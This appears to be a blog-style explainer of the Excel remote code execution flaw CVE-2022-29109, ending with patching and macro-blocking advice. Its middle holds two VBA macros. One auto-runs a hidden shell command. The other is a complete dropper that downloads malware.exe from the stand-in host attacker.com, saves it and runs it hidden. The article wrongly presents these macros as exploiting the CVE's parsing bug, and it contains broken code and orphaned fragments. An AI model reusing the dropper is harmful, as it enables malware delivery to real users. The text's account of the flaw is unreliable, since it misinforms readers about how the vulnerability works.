In May 2022, Microsoft revealed CVE-2022-29109, a serious Remote Code Execution (RCE) vulnerability in Microsoft Excel. This security flaw created a window for attackers to execute code on a victim’s machine simply by tricking them into opening a malicious Excel file. While this CVE ID may sound similar, it's different from CVE-2022-29110, which is another flaw in Excel from the same time. Here’s a deep dive on what CVE-2022-29109 is, how it works, the risks, and what you can do about it.

What Is CVE-2022-29109?

CVE-2022-29109 is a remote code execution vulnerability in Microsoft Excel. If exploited, it lets an attacker run arbitrary code with the same user rights as the person opening the file. That means if you’re logged in with admin rights, the attacker could take full control of your PC with just a spreadsheet!

Excel for Microsoft 365

(See the official list by Microsoft)

How Does the Exploit Work?

The vulnerability is located in the way Excel parses certain file formats. An attacker creates a malicious Excel file, which exploits the flaw. If someone opens the file (by email, download, or even a shared drive), the attack code executes on their machine, possibly installing malware or giving access to the attacker.

Malicious code runs with the victim's user rights.

Microsoft states that the attack is not automatically triggered, so user interaction is required.

Real-World Attack Flow

email --> user clicks file --> Excel opens & triggers bug --> attacker's code runs

Code Snippet: A Look Inside a Malicious XLS File

Attackers usually hide the exploit within file elements that trigger Excel’s parsing bug. Here’s a simplified look at what such code might involve, using VBA (Visual Basic for Applications):

' Example only! DO NOT USE MALICIOUSLY
Sub Auto_Open()
    Call Shell("cmd.exe /c calc.exe", vbHide)
End Sub

*This code runs Calculator when the file is opened, but a real attack could do anything—like install ransomware or steal data.*

How Attackers Hide This

In practice, attackers use obfuscated (hidden) code or dropper payloads. Excel's ability to embed macros, add-ins, and links to external content makes it a powerful carrier for attacks.

Proof of Concept: Example Attack Scenario

Security researchers sometimes share “proof of concept” (PoC) samples to show what’s possible. The attackers use crafted files (XLS, XLSX, XSLM, etc.) with malformed records that exploit the parsing bug. A public PoC for this specific CVE does not appear widely available, but a typical attack involves the steps shown above.

Here’s an example snippet (for educational purposes) on how a specially crafted macro could exploit such a flaw:

Sub Workbook_Open()
    ' Download and execute a payload from the attacker's server
    Dim objXML As Object
    Dim objFile As Object
    Dim strURL As String
    strURL = "http://attacker.com/malware.exe";
    
    Set objXML = CreateObject("MSXML2.XMLHTTP")
    objXML.Open "GET", strURL, False
    objXML.Send

    Set objFile = CreateObject("ADODB.Stream")
    objFile.Open
    objFile.Type = 1
    objFile.Write objXML.responseBody
    objFile.SaveToFile "C:\Users\Public\malware.exe", 2
    objFile.Close

    Shell "C:\Users\Public\malware.exe", vbHide
End Sub

*Again: Do not use code like this on others’ computers!*

Original References

- Microsoft Security Response Center: CVE-2022-29109
- NVD National Vulnerability Database Listing
- Microsoft Patch Tuesday, May 2022

Use email gateways that scan Office files for threats.

If you use Excel at work, your IT department can configure Group Policy to block dangerous macros outright.

Conclusion

CVE-2022-29109 shows why you need to keep Office products up to date and be careful with files—even spreadsheets—you receive. Attackers love exploiting old flaws through phishing and malicious attachments. Good patching, cautious behavior, and anti-malware software are your best defenses.

Stay safe, and always update Office.

*Disclaimer: This information is provided for educational purposes only. Never use it to attack others or systems without permission.*

Timeline

Published on: 05/10/2022 21:15:00 UTC
Last modified on: 08/10/2022 20:15:00 UTC